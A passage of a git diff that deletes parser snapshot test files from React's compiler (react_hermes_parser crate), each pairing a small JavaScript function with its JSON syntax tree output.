-                    149,
-                    150
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "f",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    151,
-                    152
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  149,
-                  152
-                ]
-              },
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  155,
-                  156
-                ]
-              },
-              "loc": null,
-              "range": [
-                149,
-                156
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              149,
-              157
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                167,
-                168
-              ]
-            },
-            "loc": null,
-            "range": [
-              160,
-              169
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          171
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        171
-      ],
-      "loc": null,
-      "range": [
-        0,
-        171
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    171
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-mutated-after-if-else.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-mutated-after-if-else.js.snap
deleted file mode 100644
index 5a5f7f844d70..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-mutated-after-if-else.js.snap
+++ /dev/null
@@ -1,362 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/obj-mutated-after-if-else.js
----
-Input:
-function foo(a, b, c, d) {
-  let x = someObj();
-  if (a) {
-    x = someObj();
-  } else {
-    x = someObj();
-  }
-
-  x.f = 1;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "d",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "someObj",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      37,
-                      44
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    37,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              47
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                54,
-                55
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        63,
-                        64
-                      ]
-                    },
-                    "right": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "someObj",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          67,
-                          74
-                        ]
-                      },
-                      "arguments": [],
-                      "loc": null,
-                      "range": [
-                        67,
-                        76
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      63,
-                      76
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    77
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                57,
-                81
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        93,
-                        94
-                      ]
-                    },
-                    "right": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "someObj",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          97,
-                          104
-                        ]
-                      },
-                      "arguments": [],
-                      "loc": null,
-                      "range": [
-                        97,
-                        106
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      93,
-                      106
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    93,
-                    107
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                87,
-                111
-              ]
-            },
-            "loc": null,
-            "range": [
-              50,
-              111
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    115,
-                    116
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "f",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    117,
-                    118
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  115,
-                  118
-                ]
-              },
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  121,
-                  122
-                ]
-              },
-              "loc": null,
-              "range": [
-                115,
-                122
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              115,
-              123
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                133,
-                134
-              ]
-            },
-            "loc": null,
-            "range": [
-              126,
-              135
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          137
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        137
-      ],
-      "loc": null,
-      "range": [
-        0,
-        137
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    137
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-mutated-after-nested-if-else-with-alias.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-mutated-after-nested-if-else-with-alias.js.snap
deleted file mode 100644
index fa63085f3e46..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@obj-mutated-after-nested-if-else-with-alias.js.snap
+++ /dev/null
@@ -1,601 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/obj-mutated-after-nested-if-else-with-alias.js
----
-Input:
-function foo(a, b, c, d) {
-  let x = someObj();
-  if (a) {
-    let z;
-    if (b) {
-      const w = someObj();
-      z = w;
-    } else {
-      z = someObj();
-    }
-    const y = z;
-    x = z;
-  } else {
-    x = someObj();
-  }
-
-  x.f = 1;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "d",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "someObj",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      37,
-                      44
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    37,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              47
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                54,
-                55
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          67,
-                          68
-                        ]
-                      },
-                      "init": null,
-                      "loc": null,
-                      "range": [
-                        67,
-                        68
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    63,
-                    69
-                  ]
-                },
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      78,
-                      79
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "VariableDeclaration",
-                        "kind": "const",
-                        "declarations": [
-                          {
-                            "type": "VariableDeclarator",
-                            "id": {
-                              "type": "Identifier",
-                              "name": "w",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                95,
-                                96
-                              ]
-                            },
-                            "init": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "Identifier",
-                                "name": "someObj",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  99,
-                                  106
-                                ]
-                              },
-                              "arguments": [],
-                              "loc": null,
-                              "range": [
-                                99,
-                                108
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              95,
-                              108
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          89,
-                          109
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "z",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              116,
-                              117
-                            ]
-                          },
-                          "right": {
-                            "type": "Identifier",
-                            "name": "w",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              120,
-                              121
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            116,
-                            121
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          116,
-                          122
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      81,
-                      128
-                    ]
-                  },
-                  "alternate": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "z",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              142,
-                              143
-                            ]
-                          },
-                          "right": {
-                            "type": "CallExpression",
-                            "callee": {
-                              "type": "Identifier",
-                              "name": "someObj",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                146,
-                                153
-                              ]
-                            },
-                            "arguments": [],
-                            "loc": null,
-                            "range": [
-                              146,
-                              155
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            142,
-                            155
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          142,
-                          156
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      134,
-                      162
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    74,
-                    162
-                  ]
-                },
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "const",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          173,
-                          174
-                        ]
-                      },
-                      "init": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          177,
-                          178
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        173,
-                        178
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    167,
-                    179
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        184,
-                        185
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "z",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        188,
-                        189
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      184,
-                      189
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    184,
-                    190
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                57,
-                194
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        206,
-                        207
-                      ]
-                    },
-                    "right": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "someObj",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          210,
-                          217
-                        ]
-                      },
-                      "arguments": [],
-                      "loc": null,
-                      "range": [
-                        210,
-                        219
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      206,
-                      219
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    206,
-                    220
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                200,
-                224
-              ]
-            },
-            "loc": null,
-            "range": [
-              50,
-              224
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    228,
-                    229
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "f",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    230,
-                    231
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  228,
-                  231
-                ]
-              },
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  234,
-                  235
-                ]
-              },
-              "loc": null,
-              "range": [
-                228,
-                235
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              228,
-              236
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                246,
-                247
-              ]
-            },
-            "loc": null,
-            "range": [
-              239,
-              248
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          250
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        250
-      ],
-      "loc": null,
-      "range": [
-        0,
-        250
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    250
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-computed-access-assignment.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-computed-access-assignment.js.snap
deleted file mode 100644
index 849437280fa2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-computed-access-assignment.js.snap
+++ /dev/null
@@ -1,336 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/object-computed-access-assignment.js
----
-Input:
-function foo(a, b, c) {
-  const x = { ...a };
-  x[b] = c[b];
-  x[1 + 2] = c[b * 4];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    32,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "SpreadElement",
-                      "argument": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          42
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        38,
-                        42
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    36,
-                    44
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  32,
-                  44
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              45
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    48,
-                    49
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    51
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  48,
-                  52
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    57,
-                    58
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  55,
-                  59
-                ]
-              },
-              "loc": null,
-              "range": [
-                48,
-                59
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              48,
-              60
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    64
-                  ]
-                },
-                "property": {
-                  "type": "BinaryExpression",
-                  "left": {
-                    "type": "NumericLiteral",
-                    "value": 1.0,
-                    "loc": null,
-                    "range": [
-                      65,
-                      66
-                    ]
-                  },
-                  "operator": "+",
-                  "right": {
-                    "type": "NumericLiteral",
-                    "value": 2.0,
-                    "loc": null,
-                    "range": [
-                      69,
-                      70
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    65,
-                    70
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  63,
-                  71
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    74,
-                    75
-                  ]
-                },
-                "property": {
-                  "type": "BinaryExpression",
-                  "left": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      76,
-                      77
-                    ]
-                  },
-                  "operator": "*",
-                  "right": {
-                    "type": "NumericLiteral",
-                    "value": 4.0,
-                    "loc": null,
-                    "range": [
-                      80,
-                      81
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    76,
-                    81
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  74,
-                  82
-                ]
-              },
-              "loc": null,
-              "range": [
-                63,
-                82
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              63,
-              83
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          85
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        85
-      ],
-      "loc": null,
-      "range": [
-        0,
-        85
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    85
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-expression-string-literal-key.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-expression-string-literal-key.js.snap
deleted file mode 100644
index 409326a5555b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-expression-string-literal-key.js.snap
+++ /dev/null
@@ -1,178 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/object-expression-string-literal-key.js
----
-Input:
-function Component(props) {
-  const x = { ["foo"]: props.foo };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "StringLiteral",
-                        "value": "foo",
-                        "loc": null,
-                        "range": [
-                          43,
-                          48
-                        ]
-                      },
-                      "value": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            51,
-                            56
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            57,
-                            60
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          51,
-                          60
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": true,
-                      "loc": null,
-                      "range": [
-                        42,
-                        60
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    62
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  62
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              63
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                73,
-                74
-              ]
-            },
-            "loc": null,
-            "range": [
-              66,
-              75
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          77
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        77
-      ],
-      "loc": null,
-      "range": [
-        0,
-        77
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    77
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-literal-spread-element.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-literal-spread-element.js.snap
deleted file mode 100644
index 25b2816b7784..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-literal-spread-element.js.snap
+++ /dev/null
@@ -1,165 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/object-literal-spread-element.js
----
-Input:
-function Component(props) {
-  const x = { ...props.foo };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "SpreadElement",
-                      "argument": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            45,
-                            50
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            51,
-                            54
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          45,
-                          54
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        42,
-                        54
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    56
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  56
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              57
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                67,
-                68
-              ]
-            },
-            "loc": null,
-            "range": [
-              60,
-              69
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          71
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        71
-      ],
-      "loc": null,
-      "range": [
-        0,
-        71
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    71
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-pattern-params.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-pattern-params.js.snap
deleted file mode 100644
index ec4375209eba..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@object-pattern-params.js.snap
+++ /dev/null
@@ -1,360 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/object-pattern-params.js
----
-Input:
-function component({ a, b }) {
-  let y = { a };
-  let z = { b };
-  return { y, z };
